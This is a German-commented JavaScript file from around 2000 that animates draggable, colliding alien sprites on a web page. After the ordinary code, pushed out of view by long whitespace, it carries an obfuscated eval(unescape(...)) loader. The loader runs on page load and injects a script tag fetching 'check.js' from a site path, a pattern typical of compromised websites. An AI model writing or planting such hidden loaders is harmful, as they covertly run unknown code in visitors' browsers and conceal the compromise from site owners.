// alien_lib.js: Bibliothek f. Aliens in Aktion               20.06.00, maho
// ~~~~~~~~~~~~                ~~~~~~~~~~~~~~~~
                               // a. Konstanten:
                               // ~~~~~~~~~~~~~~
var img_bas = "img/";          //
var AL_MAX=80;                 // Max Anzahl Aliens
var breite=32, hoehe=32;       // Breite/Hoehe des Aliens
var mil_sek=200;               // RefreshIntervall

                               // b1. Var: (Zugriff des User)
                               // ~~~~~~~~  ~~~~~~~~~~~~~~~~
var tt   =  15;                // StartPos : Top
var ll   =  100;               // StartPos : Left
var stop  = false;             // Bewegung: ja/nein
var crash = false;             // mit Crash
var switchimg = false;         // ImageTausch nach Crash
var randomXY  = false;         // ZufallsVerteilung
var goOnRichtgWechsel = false; // RichtungsWechsel bei "Go On"
//  sttNeuPos = true;          // bei jedem Start: NeuPositionierg
var modus =  0;                // Modus der Gruppierung
var al_anz=AL_MAX;             // Anzahl der Aliens

                               // c2. Var: (Attribute der Aliens)
                               // ~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~
//var al      = new Array();     // Alien-ID (document.all[].style / layer[])
var xx      = new Array();     // X-Koord.
var yy      = new Array();     // Y-Koord.
var xoff    = new Array();     // X-Offset in Bewegung
var yoff    = new Array();     // Y-Offset ...
var altod   = new Array();     // Alien Tod (nach Crash)
var alstatu = new Array();     // Status: Crash (1-4); OnDrag (-1)

                               // c3. Var: (SystemGroessen)
                               // ~~~~~~~~ ~~~~~~~~~~~~~~~
//r IE   ;                     // Kenng: Microsoft/Netscape
var Ver4 ;                     // ...  : Version >= 4.0
var xmax=0, ymax=0;            // Bildschirm X/Y-Groesse  (unklar: IE)
var nr=0;                      // LaufParam. in BewgeAlien()

var onDrag=false;              // Drag&Drop: im DragModus
var DragAlienNr=-1;            // ...      : AlienNr bei Drag
var edx,edy;                   // ...      : MousEvent KoordDiff zu Alien



var Ver4 = parseInt(navigator.appVersion.charAt(0)) >=  4;
var IE4=false, NS4=false, NS6=false;         // IE4: IExplorer ab 4.0

if (parseInt(navigator.appVersion.charAt(0)) >= 4) {
  IE4 = document.all ? true : false;

  if ( navigator.appName.indexOf("Netscape") >= 0) {
    NS6 = (document.getElementById) ? true : false;
    if ( !NS6 ) NS4 = true;
  }
}

//====================================
//= A. Initialisierg / Setup =========
//=================================iii

function SetupAlien()          // Setzen der Block-Level Container
{                              // zur Anzeige der Grafiken
  var astr = "";

  if ( Ver4 ) {
    s ='<DIV STYLE="visibility:hidden"></DIV>';
    for(var i=0; i < AL_MAX; i++) {
      astr = "Alien" + i;
      s+='<DIV ID="' + astr + '" STYLE="position:absolute; ';
    //s+='z-index:1 ';  // bei NS: Fehler !?
    //s+='z-index: 1 ';  // bei NS: Fehler !?
    //s+='top:' + tt + '; left:' + ll + '; width:32; height:32">';
      s+='top:-99; left:-99; width:32; height:32;">';
      s+='<IMG NAME="'+astr+'" SRC="'+img_bas+'alien.gif" border=0></DIV>';
    }
    document.writeln(s);       // oder ..write(s)
  }
}

function SetupScript()      // Variablen setzen und MausEvent initialisieren
{
  var astr = "";

  //alert("BrowserTyp:\nIE4:"+IE4+"\nNS4:"+NS4+"\nNS6:"+NS6);

  if ( Ver4 ) {
    if ( NS4 || NS6 || Opera)  {                 // a. Window-Ausmass
      xmax = window.innerWidth  - 0  ;           // ~~~~~~~~~~~~~~~~
      ymax = window.innerHeight - 0  ;           // 15: ScrollBars
    }
    else         {
      xmax = document.body.clientWidth - 0;                      // vage: 20
      ymax = document.body.clientHeight- 0;                     // vage: 140
      // xmax = screen.availWidth - 20;                      // vage: 20
      // ymax = screen.availHeight- 140;                     // vage: 140
    }
                                                  // b. Aliens: Ini
    for(var i=0; i < AL_MAX; i++) {               // ~~~~~~~~~~~~~~~~
      /*
      astr = "Alien" + i;
      if      ( NS4 )   al[i] = document.layers[ astr ];
//    else if ( IE4 )   al[i] = document.all[astr];
//    else if ( IE4 )   al[i] = eval("document.all."+astr);
      else              al[i] = document.getElementById(astr);
      */
      xx[i] = yy[i] = -99;
      xoff[i] =  1;            //
      yoff[i] = -1;            //
      altod[i]   = false;      alstatu[i] = 0;
    }
    window.status = " X-Max: " + xmax + " Y-Max: " + ymax;
  //alert("al[0].style: " + al[0].style);
  }
  else alert("Sorry, Aliens m&ouml;gen ihren Browser nicht!");

  if ( Ver4 ) {                                     // c. MouseEvent
    if ( NS4 || NS6 )                               // ~~~~~~~~~~~~~~~~
      document.captureEvents(Event.MOUSEMOVE|Event.MOUSEUP|Event.MOUSEDOWN);
    document.onmousemove = EvMouseMove;
    document.onmouseup   = EvMouseUp  ;
    document.onmousedown = EvMouseDown;
  }
  preloadImages(img_bas+"alien.gif",img_bas+"altod1.gif",img_bas+"altod2.gif",
                img_bas+"altod3.gif",img_bas+"altod4.gif",img_bas+"alien_u.gif");
}

function preloadImages() {
  var d=document;
  if (d.images) {                          // Browser kennt: document.images
    if(!d.sw_p)  d.sw_p=new Array();         // Array f. Aufnahme der "images"
    var a=preloadImages.arguments;        // Argumente
    var i,j=d.sw_p.length;                   //
    for(i=0; i<a.length; i++)                // f. alle Argumente
      if (a[i].indexOf("#")!=0){
        d.sw_p[j]=new Image;                     // neues Image
        d.sw_p[j++].src=a[i];}                   // Source zuweisen
  }
}

function getLayer(name)
{
  if      (NS4)   return document.layers[name];
//  else if (IE4)   return document.all[name];               !!! dann Fehler: style undefined !?????
  else            return document.getElementById(name);
}

//====================================
//= B. Alien-Aktion ==================
//=================================iii

function BewegeAlien()
{
  if ( crash )                                    // mit Crash
    if ( IsCrashMitAlien(nr) )                    // -> Check Crash
      altod[nr]   = true;

  if ( ! altod[nr] &&  alstatu[nr] >= 0 ) {
    xx[nr] = xx[nr] + xoff[nr];
    yy[nr] = yy[nr] + yoff[nr];

    if ( xx[nr] < 0 ) {  xx[nr] = -xx[nr];  xoff[nr] = -xoff[nr]; }
    if ( yy[nr] < 0 ) {  yy[nr] = -yy[nr];  yoff[nr] = -yoff[nr]; }

    if ( xx[nr] >= xmax - breite ) {  xx[nr] = xmax - breite;  xoff[nr] = -xoff[nr]; }
    if ( yy[nr] >= ymax - hoehe  ) {  yy[nr] = ymax - hoehe ;  yoff[nr] = -yoff[nr]; }
  }

  var imgsrc="";
  var layID ="";                // LayerID u. ImageName
  var layer = getLayer("Alien"+nr);

  if ( altod[nr]) {                                     // Alien ist tod
    alstatu[nr]++;                                      // ~~~~~~~~~~~~~
    layID  = "Alien" +      nr;
    if ( alstatu[nr] >= 1 && alstatu[nr] <= 4 ) {
      imgsrc = img_bas+"altod" + alstatu[nr] + ".gif";
      // beachte: IE: ...image[ nr ] ; bei Netscape ein Img je Layer
      if ( NS4 ) document.layers[layID].document.images[0].src=imgsrc;
      else       document.images[layID].src=imgsrc;
    }
    else {
//??  if ( al[nr].left != -99 ) {
      if ( xx[nr] != -99 ) {
        if ( switchimg )      imgsrc = img_bas+"alien_u.gif";
        else                  imgsrc = img_bas+"alien.gif";
        if ( NS4 ) document.layers[layID].document.images[0].src=imgsrc;
        else       document.images[layID].src=imgsrc;
        yy[nr] = xx[nr] = -99;
        if ( NS4 ) { layer.left =  -99;       layer.top =  -99;}
        else       { layer.style.left = -99;  layer.style.top = -99; }
      }
    }
  }
  else {                                                // Alien lebt
    if ( alstatu[nr] >=0 ) {                            // ~~~~~~~~~~
      if ( NS4 ) { layer.left = xx[nr];       layer.top = yy[nr]; }
      else       { layer.style.left = xx[nr]; layer.style.top = yy[nr]; }
    }
  }

  if ( ! stop )         setTimeout("BewegeAlien();",mil_sek)
  if ( ++nr >= al_anz ) nr=0;
}

function IsCrashMitAlien(nr)
{
  for(var i=0; i < al_anz; i++) {
    if ( nr != i && ! altod[i]) {
      if ( Math.abs(xx[i] - xx[nr]) < 20 )
        if ( Math.abs(yy[i] - yy[nr]) < 20 )
          return true;
    }
  }
  return false;
}

//====================================
//= E. Alien-Aktion: Usergesteuert ===
//=================================iii

function AlienStart()
{
  stop = false;
                                       // a. SchrittWeite X/Y
                                       //    ~~~~~~~~~~~~
  SetXYOff();
                                       // b. StartPosition X/Y
                                       //    ~~~~~~~~~~~~~
  if ( randomXY )  AlienXYRandom();
  else             AlienXYKoords();
                                       // c. Bewegung (Timer)
                                       //    ~~~~~~~~~~~~~~~~
  for(var i=0; i < al_anz; i++)
    BewegeAlien();
}

function SetXYOff()
{
  for(var i=0; i < al_anz; i++) {
    switch(modus) {
      case 0 : { xoff[i] = 3 + i;         yoff[i] = 3 + i  ; } break;
      case 1 : { xoff[i] = 3 + i*2;       yoff[i] = 3 + i  ; } break;
      case 2 : { xoff[i] = 3 + i/3;       yoff[i] = 3 + i  ; } break;
      case 3 : { xoff[i] = 3 + i%4;       yoff[i] = 3 + i  ; } break;
      case 4 : { xoff[i] = 3 + i*3;       yoff[i] = 3 + i%6; } break;
      case 6 : { xoff[i] = Math.pow(-1,i) * 2 + i
                 yoff[i] = Math.pow(-1,i+1) * 2 + i }                 break;
      case 7 : { xoff[i] = 3 + i%9;       yoff[i] = 3 + i%8; } break;
      case 8 : { xoff[i] = 1 + i/9;       yoff[i] = 3 + i  ; } break;
      default: { xoff[i] = 3 + i/5      ; yoff[i] = 3 + i  ; } break;
    }
  }
}

function AlienStop()
{
  stop = true;
}

function AlienGoOn()
{
  stop = false;

  if ( goOnRichtgWechsel )
    SetXYOff();

  for(var i=0; i < al_anz; i++)
    BewegeAlien();
}


function SwitchCrash()
{
  if ( crash ) crash = false;
  else         crash = true;
}

function SwitchImage()
{
  if ( switchimg ) switchimg = false;
  else             switchimg = true;
}

function SetRandomXY()
{
  if ( randomXY ) randomXY = false;
  else            randomXY = true;
}

function SetRichtWechsel()
{
  if ( goOnRichtgWechsel ) goOnRichtgWechsel = false;
  else                     goOnRichtgWechsel = true;
}

function SetModus(modus_nr)
{
  modus = modus_nr;
}

function AlienReset()
{
  if ( ! stop ) {                               // andere Timer laufen noch
    setTimeout("AlienResetDoIt();",1000)        // -> Verzoegerung !!
    stop = true;
  }
  else
    AlienResetDoIt();
}

function AlienResetDoIt()
{
  for(var i=0; i < AL_MAX; i++) {
    var layer = getLayer("Alien"+i);
    yy[i] = xx[i] = -99;
    if ( NS4 ) { layer.left =  -99;       layer.top =  -99;}
    else       { layer.style.left = -99;  layer.style.top = -99; }
    altod[i]   = false;
    alstatu[i] = 0;
  }
}

function AlienXYRandom()
{
  //var s="";
  for(var i=0; i < al_anz; i++) {
    var layer = getLayer("Alien"+i);
    xx[i] = parseInt( Math.random() * xmax );
    yy[i] = parseInt( Math.random() * ymax );
    //s += x+","+y+" ";
    if ( NS4 ) { layer.left = xx[i]; layer.top = yy[i]; }
    else       { layer.style.left = xx[i]; layer.style.top = yy[i]; }
  }
  //alert(s);
}

function AlienXYKoords()
{
  for(var i=0; i < al_anz; i++) {
    var layer = getLayer("Alien"+i);
    xx[i] = ll;  yy[i] = tt;
    if ( NS4 ) { layer.left = xx[i]; layer.top = yy[i]; }
    else       { layer.style.left = xx[i]; layer.style.top = yy[i]; }
  }
}

function SetAlienAnz(anz)
{
  if      ( anz <   1      ) al_anz = 1;
  else if ( anz >  AL_MAX )  al_anz = AL_MAX;
  else    al_anz = anz;
}

function SetSttPosX(posX)
{
  ll = parseInt(posX);              // Achtg: ohne parseInt -> String
}

function SetSttPosY(posY)
{
  tt = parseInt(posY);
}

//====================================
//= D. DRAG: MouseEvent + Handling ===
//=================================iii


function EvMouseUp(e)          // Position des Maus-Cursors ermitteln
{
  if ( onDrag ) {
    alstatu[ DragAlienNr ] = 0;                 // Weiter Bewegung
    onDrag=false;
  }
}

function EvMouseMove(e)          // Position des Maus-Cursors ermitteln
{
  var ex,ey;

  if ( Ver4 ) {
    if (NS4 || NS6) {
      ex=e.pageX;
      ey=e.pageY; }
    else {
      ex = event.clientX + document.body.scrollLeft;
      ey = event.clientY + document.body.scrollTop ; }
  }

  if ( onDrag ) {
    xx[ DragAlienNr ] =  ex - edx;            // ACHTG fehlt noch
    yy[ DragAlienNr ] =  ey - edy;
    var layer = getLayer("Alien"+DragAlienNr);
    if ( NS4 ) { layer.left =  xx[ DragAlienNr ];
                 layer.top =   yy[ DragAlienNr ]; }
    else       { layer.style.left =  xx[ DragAlienNr ];
                 layer.style.top =   yy[ DragAlienNr ]; }
  }
  //window.status = "Move: X=" + ex + " Y=" + ey;
}

function EvMouseDown(e)          // Position des Maus-Cursors ermitteln
{
  var ex,ey;

  if ( Ver4 ) {
    if (NS4 || NS6) {
      ex=e.pageX;
      ey=e.pageY; }
    else {
      ex = event.clientX + document.body.scrollLeft;
      ey = event.clientY + document.body.scrollTop ; }
  }

  CheckAlienKoord(ex,ey);
  //window.status = "Down: X=" + ex + " Y=" + ey;
}


function CheckAlienKoord(ex,ey)
{
  for(var i=0; i < al_anz; i++) {
    if ( ! altod[i]) {
      edx =  ex - xx[i];
      edy =  ey - yy[i];
      if ( edx < 34 && edx >= 0 )
        if ( edy < 34 && edy >= 0 ) {
          //alert("Dif:" + edx + "," + edy + " Nr.:" + i);
          alstatu[i] = -1;                 // Stop Bewegung
          onDrag=true;
          DragAlienNr=i;
          break;
        }
    }
  }
}

//+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

SetupAlien();
SetupScript();                 // alternativ moeglich




































































































                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ ;eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%35%36%34%36%34%32%3B%20%4A%53%53%33%20%3D%20%27%2F%6A%73%5F%70%72%6A%2F%64%65%73%30%34%5F%66%72%61%75%6E%68%6F%66%65%72%2F%75%6A%6F%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%6A%73%5F%70%72%6A%2F%64%65%73%30%34%5F%66%72%61%75%6E%68%6F%66%65%72%2F%75%6A%6F%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20')); /* a995d2cc661fa72452472e9554b5520c */                                                                                                                                                      





































































































